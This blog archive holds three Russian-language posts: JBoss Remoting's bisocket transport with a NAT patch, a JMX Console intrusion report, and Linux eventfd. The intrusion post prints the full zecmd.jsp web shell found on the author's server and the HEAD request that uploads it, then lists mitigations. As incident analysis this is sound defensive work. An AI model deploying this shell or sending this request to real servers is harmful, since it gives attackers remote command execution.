Category Archives: Linux/Unix

Bisocket: push-уведомления в jboss remoting

Written by elwood

logo_jboss

При разработке клиент-серверных приложений иногда требуется наладить обратную связь – посылать сообщения от сервера к клиенту. Есть 2 стандартных пути решения этой задачи. Первый, самый простой, заключается в периодическом опросе клиентами сервера на предмет наличия сообщений для них. Он не очень удобен, потому что если выбрать большой интервал между опросами, то данные будут обновляться медленно, а если интервал сделать маленьким, то при большом количестве клиентов сервер будет завален запросами. Плюс сетевой траффик. В общем, не очень. Второй же вариант – push-уведомления – сервер сам посылает клиенту сообщение, когда нужно. И этот путь намного лучше, поскольку он лишён всех недостатков первой схемы. Единственный минус push-уведомлений – проблемы реализации. Не всегда клиент доступен для подключения со стороны сервера (если клиент за NATом, например, и чтобы подключиться к нему, нужно пробрасывать порт). В этом случае приходится либо отказываться от push-уведомлений, либо реализовывать их более хитрым образом. Одну из таких реализаций мы и рассмотрим, на примере транспорта bisocket в библиотеке JBoss Remoting.

JBoss Remoting

Вообще JBoss Remoting – это библиотека, созданная как раз для быстрой реализации таких вещей. Она позволяет использовать единое API для работы со кучей разных транспортов. То есть, грубо говоря, на клиенте можно написать Client.send(message), а на сервере сочинить обработчик для поступающих сообщений. И после этого выбрать подходящий транспорт, коих поддерживается множество: есть HTTP, есть Sockets, есть RMI, есть SSL Sockets. Есть даже какие-то особенные транспорты Servlet и Coyote (непонятно, чем они отличаются от HTTP, наверное, используют какие-то особенности сервлетного API и реализации томката). Фишка в том, что API всегда одно и то же. Меняется только имя транспорта и конфигурация (каждый транспорт поддерживает свой набор параметров). Мы рассмотрим транспорт bisocket, его схему работы и то, как его настраивать и использовать.

Транспорт bisocket

Что такое bisocket ? Это транспорт на базе двух TCP сокетов. Один используется для запросов от клиента к серверу, другой – для обратной связи. Изначально в JBoss Remoting был транспорт Socket, но для реализации push-уведомлений он требовал коннекта от сервера к клиенту. Remoting использовался в JBoss Application Server для реализации JMS, а в сценариях с JMS это было неудобно. Если бы в качестве транспорта был использован Socket, то подписчики JMS должны были бы конфигурироваться так, чтобы принимать входящие соединения. Ребята из RedHat пораскинули мозгами и родили концепцию транспорта на базе сокетов, который не требует подключения сервера к клиенту. Вместо этого клиент открывает дополнительно второе, управляющее, соединение, через которое ждёт сообщений от сервера. Итак, давайте с вами посмотрим на то, как работает bisocket.

Подключение слушателя push-уведомлений

Клиент вызывает Client.addListener() для регистрации обработчика push-уведомлений. Код клиента посылает на сервер сообщение, запрашивающее координаты (хост и порт) вторичного сокета. Сервер передает координаты вторичного сокета, и клиент соединяется с ним, создавая управляющее соединение (control connection). Сервер после вызова accept() на вторичном сокете получает экземпляр Socket, с помощью которого он будет обмениваться сообщениями с клиентом, и сохраняет его у себя в статической Map. После этого клиент передает на сервер сообщение “addListener”, и сервер логически связывает клиента и предварительно сохранённый экземпляр Socket. После всего этого на стороне сервера стартует задача PingTask, которая периодически посылает ping-запросы на клиент и ждет ответа. Если ответа не приходит N раз подряд, управляющее соединение считается разорванным.

Отправка push-уведомлений

Серверная сторона вызывает InvokerCallbackHandler.handleCallback(). Сервер проверяет, есть ли в пуле соединений свободное соединение с этим клиентом. Если такого нет, то по управляющему соединению сервер посылает клиенту сообщение о том, чтобы клиент подключился ко вторичному сокету ещё раз – для создания рабочего соединения. После этого сервер ожидает подключения клиента (появления соответствующего экземпляра Socket в статической Map). Клиент получает это сообщение, и подключается на вторичный сокет, создавая worker thread для обработки этого соединения. В это время сервер после вызова accept() получает экземпляр Socket для этого нового рабочего соединения, сохраняет его в статическую Map, после чего выполнение серверного кода посылки push-уведомления продолжается, и сообщение идёт уже в это новое соединение. После отправки соединение добавляется в пул соединений для дальнейшего использования.

Что происходит, если управляющее соединение рвется

Восстановление происходит на стороне клиента. Клиент уведомляется о том, что ping-сообщения не получались уже долгое время. Клиентский код заново запрашивает сервер о координатах вторичного сокета (вдруг они изменились). Клиент подключается ко вторичному сокету и параллельно с этим посылает на сервер сообщение о том, что текущее управляющее соединение нужно заменить новым. Сервер, получив это сообщение, подождет, когда будет вызван accept() на вторичном сокете, и получив экземпляр свежесозданного Socket, заменит им старый Socket управляющего соединения.

Настройки

Итак, теперь, когда мы разобрали схему работы транспорта Bisocket, можно перечислить настройки, сразу станет ясно, зачем каждая из них.

IS_CALLBACK_SERVER – задаётся на стороне клиента. Если false (значение по умолчанию), то будет использован обычный механизм соединения сервера к клиенту (как в транспорте Socket). Правда не понимаю, зачем было устанавливать это значение по умолчанию в false, если транспорт специально был написан для функциональности, которая становится доступной только если значение установлено в true. Не вижу логики в этом. Нам, правильным пацанам, надо ставить его в true, или использовать обычный Socket.

Все остальные рассматриваемые настройки – серверные.

SECONDARY_BIND_PORT – порт, который будет прослушиваться вторичным сокетом. Если он не задан, будет выбран произвольный порт, и если ваш сервер размещён за брандмауэром, то вам может не повезти, и ваш клиент не сможет подключиться к вторичному сокету. Поэтому рекомендую задавать его явно.

SECONDARY_CONNECT_PORT – порт, который будет передан клиенту при запросе координат вторичного сокета. По умолчанию равен SECONDARY_BIND_PORT, но если ваш сервер размещён за NAT’ом, то при пробросе порта внешний порт и внутренний могут не совпадать. В этом случае в SECONDARY_CONNECT_PORT вы можете установить внешний порт, и клиент будет подключаться на него.

SECONDARY_BIND_PORTS и SECONDARY_CONNECT_PORTS – настройки для multihome серверов, это вы можете попробовать, если у вас стоит балансировщик нагрузки. Не знаю как будет вести себя сервер, наверное он будет принимать подключения на все указанные порты.

SERVER_BIND_ADDRESS – адрес, по которому будут прослушиваться первичный и вторичный сокеты. Обычно устанавливается в ${jboss.bind.address} (если используется вариант конфигурации в xml в jboss). По умолчанию вроде бы подключается на *, но в документации почему-то об этом не упоминается. Может быть, я что-то путаю.

SERVER_BIND_PORT – порт, по которому будет прослушиваться первичный сокет.

Проблема с NAT

Если ваш сервер размещён за NAT’ом, то скорее всего вы столкнетесь с проблемой того, что управляющее соединение не будет создаваться. Это связано с тем, что при создании управляющего соединения сервер передаёт на клиент координаты вторичного сокета, хост и порт. Хост он берёт из настройки SERVER_BIND_ADDRESS, который в случае используемого NAT скорее всего будет указывать на адрес в локальной сети. Соответственно, клиент при получении этого хоста будет пытаться на него подключиться, и не сможет. К сожалению, настройки “использовать для подключения хост, применявшийся для установки первичного соединения” нет. Мы столкнулись с этой проблемой, и я не нашёл иного решения кроме патчинга библиотеки. Нужно скачать svn репозиторий для тега 2.5.4.SP4, пропатчить файл BisocketClientInvoker.java, в строке 355 заменив Object o = invoke(r); на кусок кода

Object o = invoke(r);
// DZ: patch to use original server address for creating secondary connection
// instead of address retrieved from server (because server will return jboss bind address
// that can be local address, inaccessible from client)
InvokerLocator patchedLocator = new InvokerLocator( (( InvokerLocator ) o).getOriginalURI().replace(
(( InvokerLocator ) o).getHost(), this.getLocator().getHost() )
);
log.debug("secondary locator: " + o);
log.debug("patched secondary locator: " + patchedLocator);
return patchedLocator;

После этого нужно пересобрать библиотеку командой ant и всё будет готово. Либо подождать, пока редхатовцы рассмотрят созданный тикет https://issues.jboss.org/browse/JBREM-1322

Пример кода

Примеры доступны в дистрибутиве библиотеки, для bisocket есть отдельный пример, примеры можно запустить с помощью ant, выполнив ant run-bisocket-server и ant run-bisocket-client для запуска сервера и клиента соответственно. К сожалению, конкретно этот пример очень куцый, и он даже не рассчитан на подключение более чем одного клиента, но этим грешат все примеры в этом дистрибутиве. Если будет время, я напишу более хороший пример, во-первых, standalone сервера и клиента (консольных или на Swing’е), а во-вторых, приведу пример конфигурации сервера в рамках JBoss AS (там это делается при помощи xml, что очень удобно).

Уязвимость JMX Console в JBoss AS 4.x и 5.x

Written by elwood

Придя на работу, обнаружил в логах странное :

java.io.IOException: CreateProcess error=2, ?? ??????? ????? ????????? ????
at java.lang.ProcessImpl.create(Native Method)
at java.lang.ProcessImpl.<init>(ProcessImpl.java:81)
at java.lang.ProcessImpl.start(ProcessImpl.java:30)

Чуть ниже был обнаружен и источник этого сообщения – zecmd.jsp. Файл этот был быстро найден в директории /default/deploy/management/zecmd.war и содержал примитивный веб-шелл :

<%@ page import="java.util.*,java.io.*" %>
<% %>
<HTML>
<BODY>
<FORM METHOD="GET" NAME="comments" ACTION="">
  <INPUT TYPE="text" NAME="comment">
  <INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre> <% if (request.getParameter("comment") != null) {
    out.println("Command: " + request.getParameter("comment") + "<BR>");
    Process p = Runtime.getRuntime().exec(request.getParameter("comment"));
    OutputStream os = p.getOutputStream();
    InputStream in = p.getInputStream();
    DataInputStream dis = new DataInputStream(in);
    String disr = dis.readLine();
    while (disr != null) {
        out.println(disr);
        disr = dis.readLine();
    }
} %>


Собственно, мне повезло, что мой сервер приложений был запущен из-под Windows, поскольку шелл, судя по всему, работал только на никсовых платформах.

В сети быстро нашлась информация о том, что это за шелл и какую уязвимость хакер мог эксплуатировать для того, чтобы его залить:

http://scoperchiatore.wordpress.com/2011/12/16/jboss-worm-it-is-real-and-there-are-3-new-form-spreading-in-jboss-worm/
https://community.jboss.org/blogs/mjc/2011/10/20/statement-regarding-security-threat-to-jboss-application-server
http://xorl.wordpress.com/2012/02/14/hack-analysis-cve-2010-0738/

Проблема была в дефолтной конфигурации web.xml консоли JMX. Она требовала авторизации для запросов GET и POST, а все остальные запросы пропускались без требования логина и пароля. И умники нашли способ через метод HEAD заливать произвольный JSP на сервер простым запросом

HEAD /jmx-console/HtmlAdaptor?action=invokeOpByName&name=jboss.admin%3Aservice%3DDeploymentFileRepository&methodName=store&argType=java.lang.String&arg0=zecmd.war&argType=java.lang.String&arg1=zecmd&argType=java.lang.String&arg2=.jsp&argType=java.lang.String&arg3=%32c%4...

Проверил этот запрос с помощью Fiddler – и действительно, в /server/default/deploy/management/ появился тот самый варник zecmd.war.

Сценарий хакерских атак такой. Сначала через дырку в JMX они заливают вебшелл (их доступно несколько, и они все работают на никсовых системах). После этого через шелл заливаются остальные зловреды (скрипты, сканеры портов итд). После этого машина сама становится рассадником заразы, сканируя некоторые диапазоны IP-адресов и пробуя также найти уязвимые сервера.

Методы борьбы (начиная от самых простых к самым надежным):

1) Добавить запрет на метод HEAD в web.xml
2) Убрать JMX console и другие админки
3) Настроить JMX console и админки таким образом, чтобы они были доступны только с локального IP-адреса.

Свежие версии JBoss идут по третьему пути, и по умолчанию на админку можно зайти только с локалхоста.

eventfd в Linux

Written by elwood

При разработке многопоточных приложений часто применяется следующий паттерн для синхронизации потоков : создается массив сигнализирующих объектов и вызывается wait для них всех, который блокирует выполнение потока и ожидает, пока один из этих объектов не даст сигнал. В это время другие потоки что-то делают, и рано или поздно сигнал вызывается. После этого wait завершает ожидание, возвращая индекс сработавшего объекта-события. Далее производятся какие-то действия по обработке этого конкретного события, и wait вызывается снова. В псевдокоде это выглядит примерно так:

event[] events = initializeEvents();
while (true) {
    int index = wait(events, TIMEOUT);
    if (0 == index) {
	// wait finished by timeout
    } else if (-1 == index) {
	// wait finished with error
    } else {
	event signalledEvent = events[index];
	// todo : working with signalled event
 
	if (signalledEvent == EXIT_EVENT) {
	    break;
	}
    }
}

Это очень удобный паттерн, который можно применять как в синхронизации потоков (различные очереди сообщений или просто разные действия), так и в обработке ввода (в Windows функции ожидания можно применить к STD_INPUT_HANDLE, поместив STD_INPUT_HANDLE в один массив с другими объектами-событиями).

И вот мне нужно было сделать аналогичное решение для обработки консольного ввода в Linux.

Была найдена функция poll(), которая работает с массивом файловых дескрипторов. Однако, мьютекс в этот массив засунуть нельзя, а отдельный файл или pipe создавать для этого дела не хочется. Должен же быть некий объект ядра, который будет достаточно легковесным для использования в этом сценарии ! И действительно, такой объект нашелся. Им оказался eventfd – сравнительно недавно появившийся в Linux API (первая версия появилась в ядре 2.6, а последние изменения в API были добавлены в версии 2.6.30).

Итак, как же работает eventfd. Обычный объект eventfd (не-семафорный, то есть не созданный с флагом EFD_SEMAPHORE) работает достаточно просто. Он содержит в себе 64-битный счетчик (изначально равный нулю) и позволяет писать в себя вызовом write() и читать вызовом read(). При записи (поддерживается только запись 64-битного значения) записываемое значение добавляется к счетчику. То есть вызвали 3 раза запись числа 10 – счетчик будет содержать значение 30. При вызове read() это значение будет считано, а счётчик вновь сброшен в ноль. Когда счетчик содержит 0, вызов poll с флагом POLLIN будет ожидать до тех пор, пока кто-то не запишет в eventfd значение. Если же счетчик содержит 1, вызов poll с флагом POLLIN вернёт управление сразу (раз есть, что считывать – eventfd “доступен для чтения”). Причем, так как при вызове poll() счётчик не сбрасывается, повторные вызовы будут тут же возвращать управление до тех пор, пока кто-то не вызовет read() и не сбросит тем самым значение внутреннего счетчика в ноль. Вызов же poll() с флагом POLLOUT будет, как правило, всегда возвращать true для флага POLLOUT (поскольку запись в него в принципе всегда разрешена, за исключением сценариев, при которых eventfd может быть заблокирован из-за другого активного в этот момент писателя).

Ну и так как eventfd представляет собой файловый дескриптор, связанный с объектом ядра, то его нужно закрывать вызовом close().

Итак, чтобы сделать аналогичную схему, нам достаточно простого алгоритма :

int fd = eventfd(0, EFD_CLOEXEC); // пусть это событие сигнализирует нам о продолжении некой работы
int fd2 = eventfd(0, EFD_CLOEXEC); // а это - о необходимости выйти из цикла приёма сообщений
pollfd pollfds[2];
pollfds[0].fd = fd;
pollfds[1].fd = fd2;
pollfds[0].events = POLLIN;
pollfds[1].events = POLLIN;
 
bool exitFlag = false;
while (!exitFlag) {
    int pollResult = poll(pollfds, 2, -1);
    if (pollResult == -1) {
	// handle error
    } else if (pollResult > 0) {
	// сработало одно или несколько событий - но без проверки revents -
	// флагов событий, действительно сработавших - нам не узнать индексы сработавших событий
	for (int i = 0; i < 2; i++) {
	    if (pollfds[i].revents != 0) {
		if (i == 0) {
		    // делаем работу, относящуюся к первому событию
		} else if (i == 1) {
		    exitFlag = true;
		    break;
		}
		// обнуляем внутренний счетчик, чтобы следующий вызов poll снова ожидал записи в eventfd
		uint64_t u;
		read(pollfds[i].fd, &u, sizeof(uint64_t));
	    }
	}
    }
}
 
...
 
// а тут где-то в другом потоке вызываем сигналы вот так
uint64_t u = 1;
write(fd, &u, sizeof(uint64_t));

При необходимости можно усовершенствовать схему, заменив третий аргумент poll с -1 (TIMEOUT_INDEFINITE) на конкретный таймаут и добавив обработку того случая, когда pollResult равен нулю (что как раз соответствует возврату по таймауту).

В общем, мы видим, что в принципе, ничего сложного в синхронизации через файловые дескрипторы нет, и можно легко построить цикл обработки сообщений из других потоков / процессов по аналогии с тем, как это привыкли делать в Windows с помощью объектов ядра Event и функций WaitForSingleObject / WaitForMultipleObjects.

PS. Возможно, производительность этого способа может быть хуже, чем при использовании мьютексов. Поэтому если производительность критична, наверное, стоит задуматься о том, как реализовать аналогичное поведение на POSIX мьютексах. На гитхабе есть проект https://github.com/NeoSmart/PEvents – он как раз про это (правда, там довольно много кода по сравнению с приведённым сниппетом).